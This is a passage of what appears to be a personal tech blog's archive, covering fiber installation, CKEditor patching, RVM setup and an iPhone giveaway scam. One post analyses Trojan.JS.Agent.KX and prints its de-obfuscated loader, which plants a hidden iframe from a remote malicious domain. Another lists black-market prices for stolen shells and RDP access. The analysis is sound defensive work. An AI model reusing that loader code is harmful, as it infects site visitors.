What is the going price for ... ?
Thursday, January 21. 2016
Just something out of one honeypot:
INbox mailer ==>> $7 Smtp Inbox Ip ==>> $ 10 Smtp inbox Domain ==>> $8 Smtp Unlimited ==>> $20 Shell ==>> $4 cPanel ==>> $5 RDP administrator ==>> $15 RDP user ==>> $6 SSH ROOTS ==>> $8 Emails Leads Individual 100,000 ==>> $25 Emails leads Co-operate 100,000 ==>> $50
If you're paying more than that, they're ripping you off. 
Since the product descriptions are quite terse, I'm not sure what is an "INbox mailer", or what's the difference between "Smtp Inbox Ip" and "Smtp inbox Domain". A "Shell" or "cPanel" is self-descriptive, that's a simple access to *nix or a web-based hosting system. RDPs are for Windows remote access. But if you're buying 100k e-mail addresses, why are co-operate ones twice as expensive? That I don't know.
If you purchase those services, please let me know!
Doing fiber installations
Sunday, January 17. 2016
Year and half ago I wrote about my new super-fast Internet-connection. Since in this area the fiber-connections are installed to all buildings regardless you're going to use it or not, I had a possibility to start using also the second one. As the connection was already there, all my telco had to do was send the cable guy to install a fiber to copper media converter.
Or, so you'd think. The standard operating procedure seems to be to ship out needed hardware from the telco's central warehouse to me and eventually the cable guy would arrive and do the setup. The sales guy failed to mention this procedure to me. I received a shipment of my brand new toys:
I just unboxed all the stuff and started studying how to do the installation myself. My own experience on the subject is highly limited. Whenever fiber-optics are involved, all the installations are done by trained professionals, not curious hackers like me.
Anyway, this is the media converter a CTS (Connection Technology Systems, aka. Zyxel) HET-3005:
Specs say:
- Interface
- LAN Port: 10/100/1000Base-T RJ-45 x 4
WAN Port: 1000Base-X x 1 or 10/100/1000Base-T x 1
- LAN Port: 10/100/1000Base-T RJ-45 x 4
- Standards
- IEEE 802.3 10Base-T
- IEEE 802.3u 100Base-TX/FX
- IEEE 802.3ab 1000Base-T
- IEEE 802.3z 1000Base-X
- IEEE 802.3x Flow Control
According to manual, a HET-3005 comes in multiple versions. Mine is a model: HET-3005W2A(SM-10/20)-DR, it has following ports in it:
- Fiber Port
- Speed: 1000
- Type: WDM
- Connector: SC
- Distance: 10/20KM
- Ports: 1
- TP Port
- Speed: 10/100/1000
- Ports: 4
In the fiber-world it seems, that connectors are always inside the box, of course I had to pop the hood:
On top of the pic, there is a fiber connector (a SC-connector, I guess):
It mentions following details:
- Dual rate
- Single mode, 10 km
- TX/RX: 1310/1550 nm
When studying Gigabit Ethernet, the only possible ones are:
- 1000BASE-LX10
- Single-mode fiber using 1310 nm wavelength 10 km
- 1000BASE-BX10
- Single-mode fiber, over single-strand fiber: 1490 nm downstream 1310 nm upstream 10 km
For obvious reasons of not having dual-rate in it, LX10 goes out. However in BX10, it's funny how specs mention downstream to be 1490 nm, but the equipment has 1550 nm.
So, only with the box, there isn't much to do. Luckily they kinda knew it and in the box there was a suitable patch cable:
The ends are different. I don't know why, but studying the Wikipedia article about Optical fiber connector says, that IEC 61754-4 defines a SC-connector. A careful analysis of it revealed, that the square one wasn't a match for the HET-3005. The wider one with non-square form fits in nicely:
Now I'll need to figure out what to do with the other end. I went to study the connections. A following box with obvious incoming fiber-optic cable rising from the ground was attached to a wall:
Sure thing, I popped the hood on that to see what it had eaten:
At the lower left hand corner, there is a black cable incoming. The cable guy stripped it and exposed the single-mode fibers in it (two of them) and welded them into the fiber of the blue connector. The welds have been properly covered with some sort of shink-wrap and can be seen in the yellow cable holder. Since the black box was a dead end, it had no electrical parts in it, my next focus was the blue connector at the bottom of the box:
That red connector had a fiber running to a box converting fiber to a DVB-C -signal and distributing that on a 75 Ω coaxial cable for TV-signal distribution into my house. However, the right connector was free. I simply had to try it:
Yep! A nice fit. The more important thing was, that it made my media converter box to indicate a functioning WAN-signal.
Just to confirm the SC-connector, I went back to pictures of my Inteno FG500, it had:
But that's inside the box, it has dual-purpose functionality of doing TV-signal and ethernet in two halves of the same unit.
After couple of days me finishing the install, the cable guy called in and wanted to come do the setup. I just told him that's its all done and ready.
Recycling used Samsung laser printer cartridges
Wednesday, January 6. 2016
Every now and then I need a paper copy of something. In Finland, which to my observations is quite far advanced in the paperless processes (working environment or otherwise), that's rare. The obvious exception to the rule is bookkeeping and banks. They won't live without a hard-copy of something. For the purpose of producing a printout I have a Samsung color laser printer. When it was new, I even made a humorous note of it.
The general grievance about modern printers is, that they cost around € 200,- and almost immediately run out of [insert a name of expensive supply product here]. In my case, nothing else than all colors cost way above € 300,-. But that's not my rant-of-the-day, I knew all about that when I decided to have the unit shipped to my front door. Korean engineers @ Samsung made the actual process of changing a color cartridge a very simple one. I have to say, that hardest part in that is un-boxing the new ones. They are so tightly vacuum-sealed. So, no groaning about that one either.
What do you do with those darned expired things, when you're done!!
I had replaced the black cartridge earlier, it always runs out first. In this instance, I replaced only the colour ones (CMY). So, only 3 useless boxes to throw out of the house.
From The Web, I found somebody having the same problem. This article is in Finnish, but it's pretty much about Samsung color cartridge not having any kind of recycling info in it. Samsun's rep reponnds, that "oh yes, there are instructions". This is the only thing I found about the subject:
It says to go to www.samsung.com/printer/recycle for information. I did and landed at Samsung S.T.A.R Programme (Samsung’s Takeback And Recycle). It has following information about returning used cartridges at How to return your used cartridge -page:
- Place your used cartridge in the bag and box which came with your new Samsung toner cartridge. In case you wish to send more than one cartridge for recycling, please put all cartridges in one big box, or tape the individual boxes together.
- Close the box using clear tape;
- Register yourself/your company on our STAR website. In case you have already registered yourself/your company, please log in using your user name and password. Chose the number of empty cartridges you would like to return and press the ‘get your label!’ button. Your order will be processed immediately. Only one (1) return label will be sent to your registered email address or will pop up at your screen;
- Print the return label and place it on the large side of the box. If the return label contains a bar code, please keep this bar code visible;
- Drop off your box at the nearest post office or include it in your usual mail collection.
Well, I guess I'll have to register to the site and get myself some clear packing tape. After doing that, it was possible to print following packing slip:
Looks like a valid customer return information required by postal services. Now the last thing is to go to a post office and leave the bundle there.
So, the information was there. Obviously the entire process is a bit more complex than just taking out the garbage, but I guess Samsung guys will properly handle all the troublesome waste there. That should save the Earth!
S9y plugins: Adding codeTag into CKEditor
Sunday, January 3. 2016
As you may have noticed, I blog a lot about code, computers and operating system configurations. In writtern form, it is very convenient to use Teletype Text -formatting. Here is a demo of the difference:
Do Until NoMoreSwaps = True
NoMoreSwaps = True
For Counter = 1 To (NumberOfItems - 1)
If List(Counter) > List(Counter + 1) Then
NoMoreSwaps = False
Temp = List(Counter)
List(Counter) = List(Counter + 1)
List(Counter + 1) = Temp
End If
Next
NumberOfItems = NumberOfItems - 1
Loop
and:
Do Until NoMoreSwaps = True
NoMoreSwaps = True
For Counter = 1 To (NumberOfItems - 1)
If List(Counter) > List(Counter + 1) Then
NoMoreSwaps = False
Temp = List(Counter)
List(Counter) = List(Counter + 1)
List(Counter + 1) = Temp
End If
Next
NumberOfItems = NumberOfItems - 1
Loop
(Code sample courtesy of Rosetta Code)
Any experienced software developer will prefer the fixed-width font. However, an out-of-the-box Serendipity blog software won't make that possible. I don't get the logic behind that, but there is a drastic change in functionality. To the not-so-user-friendly direction, I'd like to add. 
Since version 2.0 S9y has been using CKEditor as HTML-editor on the admin-side. It is a pretty good component and has a number of excellent plugins already available. Getting a codeTag-plugin to work shouldn't be too hard, I guess. Yep! Guessed wrong.
Just downloading a zip-file, and uncompressing it at serendipity/htmlarea/ckeditor/ckeditor/plugins/-directory. Is a good start, but the editor won't react to that, something more is needed.
After a lot of investigating, I figured to add the name of the plugin into into serendipity/htmlarea/ckeditor_s9y_plugin.js. It has a line in it:
var customplugins = 'mediaembed,procurator,cheatsheet,';
adding codeTag into the list does absolutely nothing. It does load the plugin, but as a default, the plugin does nothing that you can see or touch. There is another file with list of editor's icons at serendipity/htmlarea/ckeditor_s9y_config.js. It has an array with list of icons to display:
config.toolbar_Default = []
It looks like this:
After adding this hash-definition into the config.toolbar_Default -array:
{ name: 'codetag', items: [ 'Code' ] }
makes the icon to appear:
... but it doesn't do much when you click it.
Yet another round of debugging revealed, that there is a fixed list of allowed HTML-tags in the same file. The variable is called config.extraAllowedContent. The line is very long, but abbreviated version is something like this:
config.extraAllowedContent = 'mediainsert[*]{*}(*); ... ;pre[*](*);';
I added this to the end of the list:
code;tt;
Now it works as expected!
If you're planning a patch, here are my changes. Run it in serendipity/htmlarea/:
--- ckeditor_s9y_plugin.js.orig 2015-07-24 15:02:54.000000000 +0300
+++ ckeditor_s9y_plugin.js 2016-01-01 15:52:18.333527235 +0200
@@ -17,7 +17,7 @@
// Plugin Dependencies: widget Add-on Dependencies: Line Utilities and Clipboard
// mediaembed is a fast and simple YouTube code CKEditor-Plugin: v. 0.5+ (https://github.com/frozeman/MediaEmbed, 2013-09-12) to avoid ACF restrictions
// procurator and cheatsheet are S9y only plugins
- var customplugins = 'mediaembed,procurator,cheatsheet,';
+ var customplugins = 'mediaembed,procurator,cheatsheet,codeTag,';
// for any new instance when it is created - listen on load
CKEDITOR.on('instanceReady', function(evt){
--- ckeditor_s9y_config.js.orig 2015-07-24 15:02:54.000000000 +0300
+++ ckeditor_s9y_config.js 2016-01-01 16:07:39.055518012 +0200
@@ -65,7 +65,7 @@
- Allow for custom attributes/classes in code blocks
*/
// protect
- config.extraAllowedContent = 'mediainsert[*]{*}(*);gallery[*]{*}(*);media[*]{*}(*);script[*]{*}(*);audio[*]{*}(*);div[*]{*}(*);span[*]{*}(*);img[height,width];pre[*](*);';
+ config.extraAllowedContent = 'mediainsert[*]{*}(*);gallery[*]{*}(*);media[*]{*}(*);script[*]{*}(*);audio[*]{*}(*);div[*]{*}(*);span[*]{*}(*);img[height,width];pre[*](*);code;tt;';
// Do not use auto paragraphs, added to these allowed tags (only!). Please regard that this was marked deprecated by CKE 4.4.5, but is a need for (our use of) extraAllowedContent - check this again by future versions!
config.autoParagraph = false; // defaults(true)
@@ -252,7 +252,8 @@
{ name: 'mediaembed', items: [ 'MediaEmbed' ] },
{ name: 'others', items: s9ypluginbuttons },
{ name: 'document', groups: [ 'mode', 'document', 'doctools' ], items: [ 'Source' ] },
- { name: 'about', items: [ 'About' ] }
+ { name: 'about', items: [ 'About' ] },
+ { name: 'codetag', items: [ 'Code' ] }
];
// console.log(JSON.stringify(config.toolbar_s9y));
Recovering Windows 7 OEM License Key
Saturday, January 2. 2016
In my hugely popular article about Transferring Windows 7 OEM license to a new hard drive, I kept insisting, that you absolutely positively need to know your SLP-key before processing. Couple days ago I was working on a recovery of a failed hard drive and realized, that it's not completely true.
As the troubled drive had already been replaced with a brand new SSD, I had the HDD in an USB-dock for investigation purposes:
The new Windows 7 OEM had already been installed, but not activated. As I didn't know the SLP-key I was planning to do the phone activation with COA-key. At that point I realized, that it was possible to use the Magical Jelly Bean Keyfinder from another drive:
It wasn't much simpler than that! A simple copy/paste -operation to get the key in and Windows activated.
The requirement seems to be to point to a %windir% and system32\config\ is assumed on top of that.
Storix - Story of Anthony Johnson continues
Friday, January 1. 2016
Earlier I wrote about Storix and it's author Mr. Johnson.
The story developed further on 15th Dec when a jury gave its verdict about the copyright infrightment claim. A court decided that the copyrigt was transferred to company on 2003. Mr. Johnson claimed that a written memo of 2004 as an annual report didn't transfer the copyright:
It foolishly stated that my sole proprietorship was changed to an S Corp and "all assets" were
transferred over. Of course, I was referring to the cash in the business account, the furniture and
computers. But the jury, based on the courts generic instructions which were contrary to actual
copyright law, decided that it should include any personal assets related to the business,
or any "language that might encompass a copyright".
Obviously this is not the end of the story. There will be a round of appeals.
Btw. In their press release Storix claims to be "the #1 provider of disaster recovery solutions for more than 2,000 global customers". I think there has to be some other player in the disaster recovery business having more customers.
64-bit Firefox for Windows - Finally!
Sunday, December 20. 2015
On version 43 Firefox announced: Firefox 64-bit for Windows Available.
Whoa! Already? I've been waiting for that to happen since 2005 when Fedora Core 4 was released. It had a 64-bit Firefox in it. Actually Fedora Core 3 had one, but it was a beta version and I didn't use it ever. So my 11 year wait is over.
Mozilla's release policy is ... how to put it ... confusing? Insane? Mindless? Linux and OS X had proper versions of my favorite browser years ago, but on Windows, they seriously dopped the ball. Competition have had 64-bit builds for: Internet Explorer, Opera, Chrome, Dillo and what not. Even the mostly malfunctioning slow piece of crap Edge has a 64-bit build of it.
Back in 2011 there was a decent version of 64-bit Firefox 8 in the works. See article Firefox 8 for Windows x64: Has 64-bit browsing finally come of age? about that. Then came 2012 and at end of that year something happened: Mozilla quietly kills Firefox 64-bit for Windows, despite an estimated 50% of testers using it.
Here is the 2012 Mozilla’s manager list of bullshit reasons for not doing a 64-bit version:
- Many plugins are not available in 64-bit versions.
- The plugins that are available don’t work correctly in Firefox because we haven’t implemented things like windowproc hooking, which means that hangs are more common.
- Crashes submitted by 64-bit users are currently not high priority because we are working on other things.
- This is frustrating for users because they feel (and are!) second-class.
- It is also frustrating for stability team triage because crash-stats does not easily distinguish between 32-bit and 64-bit builds in the topcrash lists and other reports. We basically ignore a set of nightly “topcrashes” because they are 64-bit only. (See bug 811051).
I'd still like to point out that at that time Linux and OS X had it. The list is total bullshit, as the crash reports and triage would have easily identified build bitness with minor changes, if only there would have been a true will of doing it. Most of people like me didn't care about lacking plugin support. Everything that I needed was already there and working.
Since there were a lot of comments about not doing the 64-bit Windows version, there was some flip-flopping about the decision: Mozilla backpedals on Firefox 64-bit for Windows, will keep nightly builds coming after all.
There were couple of silent years, then the project had a come-back. On 2014: Mozilla is making plans for 64-bit Firefox browser. As the decision was in to go for 64-bit, the only thing missing was developer resources. Obviously Mozilla was busy developing features, not the 64-bit build. Hower, last summer there was news: Mozilla delays 64-bit Firefox for Windows again. And finally, couple of releases later they had the official stable version out.
The obvious effect will be for Cyberfox. 8pecxstudios has been very active in the 64-bit scene and I've been using their excellent product for couple of years. My previous favorite, Waterfox advertises being a high performance browser based on the Mozilla platform made specifically for 64-Bit systems. They say that Waterfox has one thing in mind: speed, however, it's in a very low maintenance mode and currently it is 3 versions behind. In my book, that's unmaintained already.
I strongly doubt that none of the excuse-list items have vaporized. I'm glad that the version is out, but not very happy that it took so many years. This entire case is a disgrace.
Stop the insanity! There are TLDs longer than 4 characters
Wednesday, December 2. 2015
Installing multi-user Ruby with RVM
Tuesday, November 24. 2015
I needed to run some Ruby-code in my Fedora-box, but the RPM-packaged version wasn't a decent or recent one. Since it is standard procedure and native to Ruby programming language to use Ruby version manager (or RVM), it also opens immense possibilities of running any existing Ruby version in same machine without the versions colliding with each other, this is definitely something that people need to know how to do.
There is plenty of good information about this in the net, for example How to Install Ruby 2.1.2 on CentOS & RHEL using RVM. However, the definite source is of course Installing RVM manual at RVM.io.
When it comes to multi-user installations, docs say "For server administrators - For an installation usable by all users on the system - This also used to be called the System-Wide Install. Using this type of installation without knowledge how umask works is a big security risk". RVM has a very simple filesystem permission -based security model, which will collapes if umask is not set correctly in multi-user mode. However, the worst-case scenarios include some gems have incorrect permissions set and only the user how installed it can un-install. Ultimate worst-case scenario is, that people not belogning to rvm-group can install and un-install modules. In a system-wide setup other people tampering with critical resources can be fatal, hence the obligatory warnings.
My case is much simpler, I need the same stuff for myself to develop with and for the system to run with. That's how I know I develop, test and run the same libraries. I wouldn't dream on sharing the stuff with other persons and calling that secure.
Back to setup of my RVM, current ruby version information:
$ ruby -v
ruby 2.0.0p353 (2013-11-22 revision 43784) [x86_64-linux]
To start the installation, a simple one-liner will do:
$ curl -sSL http://get.rvm.io | sudo bash -s stable -- --ignore-dotfiles
It will download the latest stable installer bash-script and immediately execute it with flag not to use user's own files. This is more suitable for machine-wide mode. The really important thing is to use sudo. Installation will fail to setup correctly, if doing it as root. Another security warning here: you will be trusting blindly on something you downloaded from the web. Hey! They call it open-source.
The installation will work only on Bourne shells. I'd recommend using Bash with all RVM-operations. The installer will say something like this:
Downloading https://github.com/rvm/rvm/archive/master.tar.gz
Creating group 'rvm'
Installing RVM to /usr/local/rvm/
Installation of RVM in /usr/local/rvm/ is almost complete:
First you need to add all users that will be using rvm to 'rvm' group,
and logout - login again, anyone using rvm will be operating with `umask u=rwx,g=rwx,o=rx`.
To start using RVM you need to run `source /etc/profile.d/rvm.sh`
in all your open shell windows, in rare cases you need to reopen all shell windows.
# Thank you for using RVM!
# We sincerely hope that RVM helps to make your life easier and more enjoyable!!!
#
# ~Wayne, Michal & team.
In case of problems: http://rvm.io/help and https://twitter.com/rvm_io
If your system didn't have an user group called rvm, it does now. As the instructions say, it's your task now to assign users to that group. You can do it like this:
$ getent group rvm
rvm:x:983:
Your group ID will change, of course. Add your user to this new group like this (I'm doing it as root, sudo will do the trick also):
# usermod -a -G rvm joeuser
# getent group rvm
rvm:x:983:joeuser
Yet again, the instructions above say, that this addition will NOT take effect until one of these happens:
- User logs in. If you're adding yourself, log out first.
newgrp-command is issued, newgrp(1) - Linux man page
RVM installer will add a file into /etc/profile.d/ to do some settings at login:
-rwxr-xr-x. 1 root root 1203 Nov 23 19:39 /etc/profile.d/rvm.sh
If you need to have the settings in effect, all you need to do is source it:
$ source /etc/profile.d/rvm.sh
Anyway, now the rig is ready, we only need an installed Ruby version to get the ball rolling. To get an idea what's out there, get a list of all available Rubies there are:
$ rvm list known
# MRI Rubies
[ruby-]1.8.6[-p420]
[ruby-]1.8.7[-head] # security released on head
[ruby-]1.9.1[-p431]
[ruby-]1.9.2[-p330]
[ruby-]1.9.3[-p551]
[ruby-]2.0.0[-p647]
[ruby-]2.1[.7]
[ruby-]2.2[.3]
[ruby-]2.2-head
ruby-head
I'm urging to go for the install, but my first install attempt stalled on some missing libraries. There was a prompt asking for my password, but I chose not to enter my personal password to a script. So:
# yum install libyaml-devel readline-devel libffi-devel sqlite-devel
When those landed, let's go for an install:
$ rvm install ruby-2.1.7
The installer will output a lot, some of it is:
Searching for binary rubies, this might take some time.
No binary rubies available for: fedora/20/x86_64/ruby-2.1.7.
Continuing with compilation. Please read 'rvm help mount'
to get more information on binary rubies.
Checking requirements for fedora.
Requirements installation successful.
Installing Ruby from source to: /usr/local/rvm/rubies/ruby-2.1.7,
this may take a while depending on your cpu(s)...
ruby-2.1.7 - #downloading ruby-2.1.7,
this may take a while depending on your connection...
ruby-2.1.7 - #extracting ruby-2.1.7 to /usr/local/rvm/src/ruby-2.1.7....
ruby-2.1.7 - #configuring...
ruby-2.1.7 - #post-configuration..
ruby-2.1.7 - #compiling...
ruby-2.1.7 - #installing...
ruby-2.1.7 - #making binaries executable..
ruby-2.1.7 - #downloading rubygems-2.4.8
ruby-2.1.7 - #extracting rubygems-2.4.8....
ruby-2.1.7 - #removing old rubygems.........
ruby-2.1.7 - #installing rubygems-2.4.8...
ruby-2.1.7 - #gemset created /usr/local/rvm/gems/ruby-2.1.7@global
ruby-2.1.7 - #importing gemset /usr/local/rvm/gemsets/global.gems...
ruby-2.1.7 - #generating global wrappers........
ruby-2.1.7 - #gemset created /usr/local/rvm/gems/ruby-2.1.7
ruby-2.1.7 - #importing gemsetfile /usr/local/rvm/gemsets/default.gems
evaluated to empty gem list
ruby-2.1.7 - #generating default wrappers........
ruby-2.1.7 - #adjusting #shebangs for (gem irb erb ri rdoc testrb rake).
Install of ruby-2.1.7 - #complete
Ruby was built without documentation,
to build it run: rvm docs generate-ri
But ultimately, you're good to go:
$ ruby -v
ruby 2.1.7p400 (2015-08-18 revision 51632) [x86_64-linux]
To get back to my original task, I installed a gem:
$ gem install davclient
Fetching: davclient-0.0.8.gem (100%)
Successfully installed davclient-0.0.8
Parsing documentation for davclient-0.0.8
Installing ri documentation for davclient-0.0.8
Done installing documentation for davclient after 0 seconds
1 gem installed
That's it! Everything is ready.
Apple iPhone 7 giveaway scam
Wednesday, November 18. 2015
Looks like I'm on a roll. I was home watching a movie and while at it, I got interested about an actor in it and his other work in TV. In normal situation, I'd just flip open one of my laptops, but none were at arm's reach. However, my iPad was. For any movie buff like me, the one an only definite site is Internet Movie Database, or IMDb. Their mobile site is pretty good, but I wanted to give their iOS app a go.
The Incident
I installed the app, and went to iOS Safari to google something, which I don't even remember anymore. Pretty much when I opened the Safari something really weird happened (unfortunately for most of the readers, all of this is in Finnish):
My iPad was selected out of 20 Finnish ones, to get a free iPhone 7 in 2016 when it will be released. WTF!!? For a split second, I - a seasoned software security professional, thought "wow, I'm must be really lucky!" Then the experience kicked in: "This is a scam!" At that point I started taking screenshots of everything I saw on the iPad screen.
Once I got rid of the modal alert-box, there were four bogus questions of "Do you own an Apple product?" and about the future features the iPhone 7 should have and the final one about "Do you have an address in Finland which can be used to deliver your iPhone 7?":
After those, there was a fake "check" for eligibility and a smooth transition to customer testimonials page:
The language was horrible all the way. Finnish is a tricky language for anybody else to master in a believable manner. For example the month name "Elvember" doesn't mean anything in Finnish.
Finally, when I clicked the large blue "yes, gimme my free gift" -button, I ended up in even weirder page asking my personal information:
At this point I lost interest. I have no clue, that's their end game and what they would be using my information for, but I simply didn't want to even enter any fake info there.
Question 4 about address may point to some sort of smuggling scam, so that the unfortunate address would be used to send some sort of contraband which the criminals would liberate from mailbox before nobody notices. I have no proof of that happening.
The Injection
At this point, the relevant question was: What the hell happened?
Where did that page arrive into my Safari? Isn't iOS supposed to be the safest mobile OS there is? Is it really that easy to get past security? What did I do wrong to allow this to happen?
The good thing with this was that I was running in my own Wi-Fi. There I have a basic setup to keep me informed what's going on, so to the logfiles I went:
- 18.11.2015 18:22:13: App Store was started, lot of requests made to load data and graphics for it
- 18.11.2015 18:22:18: A search was made to App Store, it was me searching for "imdb"
- 18.11.2015 18:22:49: 14,801,031 bytes were downloaded from Apple's cloud, that was me downloading the IMDb app
- 18.11.2015 18:23:05: Lot of traffic into various resources to initialize the loaded app. Partial list of sites:
- http://ios-app-config.media-imdb.com/6.3.1/ipad.json.gz - iPad configuration in JSON-format from IMDb
- http://b.scorecardresearch.com/ - Market research company
- http://aax-eu.amazon-adsystem.com/ - Amazon, Inc. advertisement system, they own IMDb
- http://ia.media-imdb.com/ - Image server for IMDb
- https://api.imdbws.com - Unknown IMDb server
- https://app.imdb.com - Unknown IMDb server
- https://gsp-ssl.ls.apple.com - Unknown Apple server
- https://fls-na.amazon.com - Unknown Amazon server
- 18.11.2015 18:24:43: Safari was launched,
- http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/ was loaded
- 18.11.2015 18:29:35: Questions were completed
- http://bit.ly1bddlxc.com/click - start of redirecting
- http://trkyad.com/ - middle point
- http://forbrugerpost.dk/campaign/iphone6s/ - personal information form
- done
IMDb app pulled in some garbage and triggered the page load into my Safari. Unbelievable!
If you want to study my movements, here is the logfile:
iPhone7scam-10-squid_access-iPad-abbreviated.log
I have omitted the IPv6 address of my iPad, it will be displayed as 2001::87b4, which is obviously not the address.
Motive and opportunity has already been explained, when it comes to means, the Objective-C code to open a page in iOS Safari from an app would be a single line:
[[UIApplication sharedApplication] openURL:[NSURL URLWithString: [@"apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/"]]];
In my opinion an outside threat is not feasible, this had to be an inside job.
The Facts
A simple kick into Google search engine revealed for example Possible Iphone 7 Scam at Apple discussions. This has been going on since July 2015, at least, possibly earlier.
The page I was forced to go was http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/
Couple of queries for the DNS and ICANN whois:
# host apple.com-freegiveaway.com
apple.com-freegiveaway.com is an alias for com-freegiveaway.com.
com-freegiveaway.com has address 54.194.31.154
com-freegiveaway.com has address 54.77.203.0
com-freegiveaway.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
At the HTML-source of the freegiveaway.com-page, the redirect to the personal information form is at bit.ly1bdDlXc.com, but the actual form is at forbrugerpost.dk, a Danish domain. Querying for those:
# host bit.ly1bdDlXc.com
bit.ly1bdDlXc.com is an alias for h918i.voluumtrk2.com.
h918i.voluumtrk2.com has address 52.28.97.9
h918i.voluumtrk2.com has address 54.93.143.19
# host trkyad.com
trkyad.com has address 198.254.77.23
# host forbrugerpost.dk
forbrugerpost.dk has address 191.235.217.33
forbrugerpost.dk mail is handled by 10 mail.forbrugerpost.dk.
forbrugerpost.dk mail is handled by 100 backup-mx.zitcom.dk.
ly1bdDlXc.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
trkyad.com:
Registrant Contact
Name: H Pieters
Organization: Your Product In Mind
Domain name: forbrugerpost.dk
DNS: forbrugerpost.dk
Status: Active
Created: 2007/11/07
Registrant:
Userid: FA7610-DK
Name: FORBRUGERPOST ApS
Address: Skibbrogade 3, 2.
Zipcode & City: 9000 Aalborg
Country: Danmark
Phone: +4588888484
IP-address owners:
# geoiplookup 54.194.31.154 54.77.203.0 52.28.97.9 54.93.143.19
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, 07, Dublin, Dublin, N/A, 53.333099, -6.248900, 0, 0
GeoIP ASNum Edition: AS16509 Amazon.com, Inc.
# geoiplookup 198.254.77.23
GeoIP Country Edition: US, United States
GeoIP City Edition, Rev 1: US, CA, California, Newport Beach, 92663, 33.626701, -117.931198, 803, 949
GeoIP ASNum Edition: AS19994 Rackspace Hosting
# geoiplookup 191.235.217.33
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, N/A, N/A, N/A, N/A, 53.347801, -6.259700, 0, 0
GeoIP ASNum Edition: AS8075 Microsoft Corporation
Conclusions: services are running in Ireland, Amazon and Microsoft data centers and Rackspace, California. Domains are hidden behind proxies so, that the real owners of the domains are hidden. Even the Danish one is proxy-owned. About the Dutch one registered to Rotterdam, I'm not sure, that could be a real one. They use it only for redirect, maybe because they don't want to burn that so soon.
The Outcome
For the record, I'm talking about IMDb app version 6.3.1:
And there was no way, I was letting that piece of garbage pop up any more stupid questionnaires:
... the app needed to go. I didn't trust it for a second.
As I can almost hear you screaming already: "But you didn't prove, that it was the IMDb app! All of this is merely a coincidencee".
Sure, that's true. Even with my debugging skills, looking exactly at an app and tracing it in detail would take a very long time. Which in this case I didn't do. However, my proof is in the fact, that I haven't installed any apps for weeks. My Safari didn't display that stupid questionnaire page earier that day, but after installing and running the IMDb app, it did. I'm sure nobody really knows what the app loads and executes, I have proven, that it consumes a lot of data through network.
Also, I'm not a big believeer of coincidences:
Mycroft: “Oh Sherlock. What do we say about coincidence?”
Sherlock: “The universe is rarely so lazy.”
... there really aren't any.
Unfortunate encounter with Trojan.JS.Agent.KX
Tuesday, November 17. 2015
I was surfing the other day, and suddenly ding-ding-ding, a warning! I wasn't looking for trouble, but trouble found me, again.
That box makes appearances rarely, but typically I know about it's going to happen. This time I didn't expect that. The site I went to was just a regular one, not one that in any normal circumstances would raise any red flags. My automatic second thought was "a false positive", but there it was:
Based on the scanning reports, it looks like all of the static JavaScript files on that site were infected. A closer look into a file:
function null_check() {
var e = "none";
if ("none" != e) {
var t = document.getElementById(e);
void 0 != typeof t && null != t && (t.outerHTML = "", delete t)
}
}
function browser_version_check() {
return document.all && !document.compatMode ? !0 :
document.all && !window.XMLHttpRequest ? !0 :
document.all && !document.querySelector ? !0 :
document.all && !document.addEventListener ? !0 :
document.all && !window.atob ? !0 :
document.all ? !0 :
"undefined" != typeof navigator.maxTouchPoints &&
!document.all &&
ie_check() ? !0 : !1
}
function ie_check() {
var e = window.navigator.userAgent,
t = e.indexOf("MSIE ");
if (t > 0) return parseInt(e.substring(t + 5, e.indexOf(".", t)), 10);
var i = e.indexOf("Trident/");
if (i > 0) {
var n = e.indexOf("rv:");
return parseInt(e.substring(n + 3, e.indexOf(".", n)), 10)
}
var o = e.indexOf("Edge/");
return o > 0 ? parseInt(e.substring(o + 5, e.indexOf(".", o)), 10) : !1
}
function user_agent_check() {
var e = window.navigator.userAgent.toLowerCase();
return /(android|bb\d+|meego).+mobile|/i.test(e.substr(0, 4)) ? !0 : !1
}
var intervalTimer = setInterval(function() {
if (null != document.body && "undefined" != typeof document.body) {
if (clearInterval(intervalTimer), "undefined" == typeof window.loaded_into_this_window) {
window.loaded_into_this_window = 1;
var e = ie_check() && browser_version_check(),
t = !e && !!window.chrome && "Google Inc." === window.navigator.vendor,
i = -1,
n = "http://hjjdgwtwgfgfdg.tk/052F";
if (user_agent_check() && 1 == i)
navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPod/i) ?
location.replace(n) : (window.location = n, document.location = n);
else if (e && !t && !user_agent_check()) {
var o = '<div style="position:absolute;left:-3532px;"><iframe width="10px" src="' +
n + '" height="10px"></iframe></div>',
a = document.getElementsByTagName("div");
if (0 == a.length) document.body.innerHTML = document.body.innerHTML + o;
else {
var d = a.length,
r = Math.floor(d / 2);
a[r].innerHTML = a[r].innerHTML + o
}
}
}
null_check()
}
}, 100);
Quite simple piece of code. It was heavily packed, so I beautified it and renamed the obfuscated function names and variables. The regexp for user agent detection was a mile long, so I shortened it by about 2000 characters. Anyway, the basic functionality of the code is to create a timer for 100 milliseconds, which when triggered on a non-mobile client create a hidden IFRAME 3532 pixels left of the user agent's viewport containing web page from http://hjjdgwtwgfgfdg.tk/052F ... which to my disappointment was already taken down. So, I didn't get to see what the actual payload was. The above code is only a loader, a means to lure the actual trojan into your box. I guess it would contain some sort of exploit in it, but as I said: some nice person already took that domain down.
How the trojan loader was injected was a no-brainer. A simple HTTP-request for /readme.html indicated, that the site was running WordPress 4.3.1, which at the time of investigating was the latest stable release. The server is running a Debian 6, a way outdated Linux distro released in February 2011 reaching end-of-life in couple of months. The thing is: Wordpress is a leaky bucket having constant flow of security alerts. Also, I know for a fact, that Debian 6 also has couple of holes here and there. So, points of entry are available for those automated bots injecting the loaders.
Anyway, I ended my investigation happy. My own box reacted as it should and the threat had been taken down already. Also the site in question was taken off-line in a couple of hours after me filing an abuse report to their ISP. All was good for a brief time ... until next incident occurs.
Improving Nuvoton NCT6776 lm_sensors output
Monday, November 16. 2015
Problem
My home Linux-box was outputting more-or-less useless lm_sensor output. Example:
coretemp-isa-0000
Adapter: ISA adapter
Physical id 0: +36.0°C (high = +80.0°C, crit = +98.0°C)
